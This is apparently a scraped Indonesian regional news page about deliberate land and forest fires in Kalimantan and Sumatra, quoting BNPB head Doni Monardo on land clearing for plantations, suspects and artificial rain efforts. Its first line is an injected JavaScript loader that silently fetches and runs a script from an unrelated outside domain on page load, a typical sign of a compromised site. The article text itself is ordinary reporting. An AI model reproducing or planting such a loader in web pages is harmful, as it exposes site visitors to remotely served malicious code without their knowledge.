(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

80 Persen Kawasan Lahan Terbakar Akhirnya ‘Disulap’ Menjadi Kebun


BANJARBARU, Karhutla yang terjadi di Sumatera dan Kalimantan lebih banyak disebabkan ulah manusia daripada faktor alam. Faktanya, menurut Kepala Badan Nasional Penanggulangan Bencana (BNBP) Letjen (Purn) Doni Monardo, 99 persen Karhutla disengaja dengan motif land clearing. Karena 80 persen lahan yang terbakar tersebut kemudian berubah menjadi kebun.

Hal tersebut ditegaskan Doni Manardo saat memimpin rapat koordinasi Satuan Tugas (Satgas) Penanganan Karhutla di Pemprov Kalsel di Banjarbaru, Kamis (19/9) malam. “Semua lahan yang terbakar, terutama semak belukar yang kemudian usai terbakar menjadi kebun. Jadi, 80 persen lahan terbakar itu menjadi kebun,” tegasnya.

Dalam kesempatan yang lain, seperti dikutip Kompas.com, pembukaan lahan dengan cara dibakar itu disinyalir untuk digunakan sebagai perkebunan kelapa sawit. Indonesia sendiri saat ini memiliki 14,3 juta hektare perkebunan kelapa sawit.

Namun, dalam menangani masalah karhutla, kata dia, pemerintah tidak dapat mengatasinya sendiri sehingga dibutuhkan sinergi seluruh pihak. ” Karhutla adalah ancaman permanen. Maka solusinya juga harus permanen,” kata dia.

Menurut Doni Monardo, sinergi pentahelix yang terdiri dari pemerintah, masyarakat, dunia usaha, media, dan akademisi diperlukan untuk mengatasi penanganan karhutla. Doni mengatakan, pemerintah daerah dapat menjadi ujung tombak dalam pemadaman api sebelum membesar.

Kemudian, pola pencegahan lainnya adalah mengetatkan perolehan izin lingkungan yang kewenangannya berada di tangan kepala daerah. “Pimpinan daerah juga wajib melakukan pengawasan, memberikan sanksi atau tindakan administratif bagi yang melanggar,” tutur dia.

Hingga Selasa (17/9), polisi telah menetapkan 218 orang dan 5 perusahaan sebagai tersangka karhutla di Sumatera dan Kalimantan. Jumlah tersebut bertambah dari total 185 tersangka individu dan 4 perusahaan pada Senin (16/9).

Doni berharap pemerintah daerah dan elemen lainnya untuk mengajarkan pengenalan lahan gambut sejak dini kepada masyarakat. Terutama, karakter lahan gambut dan permasalahan yang ada di dalamnya. “Saatnya, mari kita berpikir untuk program-program yang berguna bagi masyarkat. Banyak yang bisa dilakukan untuk meningkatkan kesejahteraan masyarakat, khususnya yang bermukim di lahan gambut,” ucap Doni.

Diantaranya mengembangkan lahan gambut menjadi lahan produktif bagi masyarakat seperti untuk perkebunan kopi liberika, lidah buaya, pinang, bawang merah, nanas dan cabe yang terbukti banyak membuahkan hasil di berbagai daerah.

Terkait penanganan karhutla di Kalsel, hanya mampu dipadamkan saat memasuki musim hujan. Untuk itu disisa waktu ini, BNPB akan menggunakan teknologi modifikasi cuaca untuk membuat hujan buatan. “BMKG memperkirakan pada pertengahan bulan Oktober kita sudah memasuki musim hujan. Disisa waktu ini kita kerahkan seluruh kekuatan, termasuk menggunakan teknologi modifikasi cuaca dibantu BPPT, BMKG, dan AU,” katanya.

Namun, BNPB sendiri belum dapat memastikan kapan teknologi modifikasi cuaca tersebut akan ditindak lanjuti karena BMKG menyatakan bibit awan di Kalsel masih terpantau minim.

Hujan buatan sangat dipengaruhi oleh banyak dan sedikitnya awan yang berada di atas wilayah yang membutuhkan hujan. Semakin banyak awan, maka semakin banyak pula rangsangan yang dapat diberikan. Hal tersebut juga mempengaruhi curah hujan yang akan turun.

Kepala BNPB mengakui dengan adanya hujan buatan tidak memastikan api di lahan rawa gambut akan sepenuhnya padam. Dirinya meminta seluruh pejabat tinggi di Kalsel untuk mengerahkan seluruh komponen yang ada.

“Tidak perlu ada diskusi, sudah terlalu banyak kita rapat, waktunya tindakan nyata di lapangan,” tegasnya.

Sementara itu, Sekda Prov Kalsel, Abdul Haris Makkie, mengatakan saat ini pihaknya sudah mengambil langkah dengan membobol iragasi agar tersalurnya air ke lokasi Karhutla di lahan rawa gambut. Dirinya juga meminta para Bupati dan Walikota agar terlibat langsung dalam pemadaman Karhutla.

“Pesan dari bapak Gubernur, dalam situasi saat ini seluruh Bupati Walikota diminta untuk turun langsung bersama masyarakat menjaga dan memadamkan karhutla didaerah masing-masing,” katanya. (Rico)

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

6 menit ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

17 menit ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

4 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

6 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

7 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

7 jam ago

This website uses cookies.